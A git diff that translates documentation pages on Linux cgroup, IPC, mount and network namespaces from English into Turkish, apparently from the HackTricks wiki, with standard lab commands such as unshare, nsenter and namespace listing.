3. Cgroup namespace'leri doğrudan kaynakların izolasyonunu sağlamaz; **yalnızca cgroup hiyerarşisi görünümünün izolasyonunu sağlar**. **Kaynak kontrolü ve izolasyonu hala cgroup** alt sistemleri (örneğin, cpu, bellek vb.) tarafından uygulanmaktadır.
|
||||
|
||||
For more information about CGroups check:
|
||||
CGroups hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../cgroups.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Namespace'ler Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştırıldığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
```
|
||||
|
||||
### Find all CGroup namespaces
|
||||
|
||||
### Tüm CGroup ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside an CGroup namespace
|
||||
|
||||
### Bir CGroup ad alanına girin
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **ona işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/cgroup`).
|
||||
|
||||
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
@ -2,83 +2,72 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
|
||||
IPC (Inter-Process Communication) namespace, mesaj kuyrukları, paylaşılan bellek segmentleri ve semaforlar gibi System V IPC nesnelerinin **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir. Bu izolasyon, **farklı IPC namespace'lerinde bulunan süreçlerin birbirlerinin IPC nesnelerine doğrudan erişememesini veya bunları değiştirememesini** sağlar ve süreç grupları arasında ek bir güvenlik ve gizlilik katmanı sunar.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
|
||||
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
|
||||
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
|
||||
1. Yeni bir IPC namespace oluşturulduğunda, **tamamen izole bir System V IPC nesne seti** ile başlar. Bu, yeni IPC namespace'inde çalışan süreçlerin varsayılan olarak diğer namespace'lerdeki veya ana sistemdeki IPC nesnelerine erişemeyeceği veya bunlarla etkileşime giremeyeceği anlamına gelir.
|
||||
2. Bir namespace içinde oluşturulan IPC nesneleri, **yalnızca o namespace içindeki süreçler tarafından görünür ve erişilebilir**. Her IPC nesnesi, kendi namespace'i içinde benzersiz bir anahtar ile tanımlanır. Anahtar farklı namespace'lerde aynı olabilir, ancak nesneler kendileri izole edilmiştir ve namespace'ler arasında erişilemez.
|
||||
3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWIPC` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya bir tane oluşturduğunda, o namespace ile ilişkili IPC nesnelerini kullanmaya başlayacaktır.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Namespace'ler Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` parametresini kullanırsanız, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis etmesini engeller ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
```
|
||||
|
||||
### Find all IPC namespaces
|
||||
|
||||
### Tüm IPC ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside an IPC namespace
|
||||
|
||||
### IPC ad alanına girin
|
||||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ayrıca, yalnızca **root iseniz başka bir işlem ad alanına girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`).
|
||||
|
||||
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
|
||||
|
||||
### Create IPC object
|
||||
|
||||
### IPC nesnesi oluşturun
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
|
||||
# From the host
|
||||
ipcs -m # Nothing is seen
|
||||
```
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
@ -2,70 +2,63 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
|
||||
Mount namespace, bir grup işlemin gördüğü dosya sistemi mount noktalarının izolasyonunu sağlayan bir Linux çekirdek özelliğidir. Her mount namespace'in kendi dosya sistemi mount noktaları seti vardır ve **bir namespace'deki mount noktalarındaki değişiklikler diğer namespace'leri etkilemez**. Bu, farklı mount namespace'lerinde çalışan süreçlerin dosya sistemi hiyerarşisinin farklı görünümlerine sahip olabileceği anlamına gelir.
|
||||
|
||||
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
|
||||
Mount namespace'leri, her bir konteynerin diğer konteynerlerden ve ana sistemden izole edilmiş kendi dosya sistemi ve yapılandırmasına sahip olması gerektiği konteynerleştirmede özellikle faydalıdır.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
|
||||
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
|
||||
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
|
||||
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
|
||||
1. Yeni bir mount namespace oluşturulduğunda, **ebeveyn namespace'inden mount noktalarının bir kopyasıyla başlatılır**. Bu, oluşturulduğunda yeni namespace'in ebeveyn ile aynı dosya sistemi görünümünü paylaştığı anlamına gelir. Ancak, namespace içindeki mount noktalarındaki sonraki değişiklikler ebeveyni veya diğer namespace'leri etkilemeyecektir.
|
||||
2. Bir süreç, kendi namespace'i içinde bir mount noktasını değiştirdiğinde, örneğin bir dosya sistemini mount veya unmount ettiğinde, **değişiklik o namespace'e özeldir** ve diğer namespace'leri etkilemez. Bu, her namespace'in kendi bağımsız dosya sistemi hiyerarşisine sahip olmasını sağlar.
|
||||
3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWNS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya oluşturduğunda, o namespace ile ilişkili mount noktalarını kullanmaya başlayacaktır.
|
||||
4. **Dosya tanımlayıcıları ve inode'lar namespace'ler arasında paylaşılır**, yani bir namespace'deki bir süreç, bir dosyaya işaret eden açık bir dosya tanımlayıcısına sahipse, bu dosya tanımlayıcısını başka bir namespace'deki bir sürece **geçirebilir** ve **her iki süreç de aynı dosyaya erişecektir**. Ancak, dosyanın yolu, mount noktalarındaki farklılıklar nedeniyle her iki namespace'de aynı olmayabilir.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Namespace'ler Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
```
|
||||
|
||||
### Find all Mount namespaces
|
||||
|
||||
### Tüm Mount ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
|
||||
```bash
|
||||
findmnt
|
||||
```
|
||||
|
||||
### Enter inside a Mount namespace
|
||||
|
||||
### Bir Mount ad alanına girin
|
||||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/mnt`).
|
||||
|
||||
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
|
||||
|
||||
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
|
||||
|
||||
### Mount something
|
||||
Yeni montajlar yalnızca ad alanı içinde erişilebilir olduğundan, bir ad alanının yalnızca oradan erişilebilen hassas bilgileri içermesi mümkündür.
|
||||
|
||||
### Bir şeyi monte et
|
||||
```bash
|
||||
# Generate new mount ns
|
||||
unshare -m /bin/bash
|
||||
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
|
||||
vmware-root_662-2689143848
|
||||
|
||||
```
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)
|
||||
|
||||
@ -1,86 +1,76 @@
|
||||
# Network Namespace
|
||||
# Ağ Ad Alanı
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
|
||||
Ağ ad alanı, **her ağ ad alanının kendi bağımsız ağ yapılandırmasına** sahip olmasını sağlayan, ağ yığınını izole eden bir Linux çekirdek özelliğidir; arayüzler, IP adresleri, yönlendirme tabloları ve güvenlik duvarı kuralları. Bu izolasyon, her konteynerin diğer konteynerlerden ve ana sistemden bağımsız olarak kendi ağ yapılandırmasına sahip olması gereken konteynerleştirme gibi çeşitli senaryolar için faydalıdır.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
|
||||
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
|
||||
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
|
||||
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
|
||||
1. Yeni bir ağ ad alanı oluşturulduğunda, **tamamen izole bir ağ yığını** ile başlar; **loopback arayüzü** (lo) dışında **hiçbir ağ arayüzü** yoktur. Bu, yeni ağ ad alanında çalışan süreçlerin varsayılan olarak diğer ad alanlarındaki veya ana sistemdeki süreçlerle iletişim kuramayacağı anlamına gelir.
|
||||
2. **Sanal ağ arayüzleri**, örneğin veth çiftleri, oluşturulabilir ve ağ ad alanları arasında taşınabilir. Bu, ad alanları arasında veya bir ad alanı ile ana sistem arasında ağ bağlantısı kurmayı sağlar. Örneğin, bir veth çiftinin bir ucu bir konteynerin ağ ad alanında yer alabilir ve diğer ucu ana ad alanındaki bir **köprüye** veya başka bir ağ arayüzüne bağlanarak konteynere ağ bağlantısı sağlayabilir.
|
||||
3. Bir ad alanı içindeki ağ arayüzleri, diğer ad alanlarından bağımsız olarak **kendi IP adreslerine, yönlendirme tablolarına ve güvenlik duvarı kurallarına** sahip olabilir. Bu, farklı ağ ad alanlarındaki süreçlerin farklı ağ yapılandırmalarına sahip olmasını ve sanki ayrı ağ sistemlerinde çalışıyormuş gibi işlem yapmasını sağlar.
|
||||
4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında hareket edebilir veya `CLONE_NEWNET` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili ağ yapılandırmasını ve arayüzlerini kullanmaya başlayacaktır.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Ad Alanları Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
|
||||
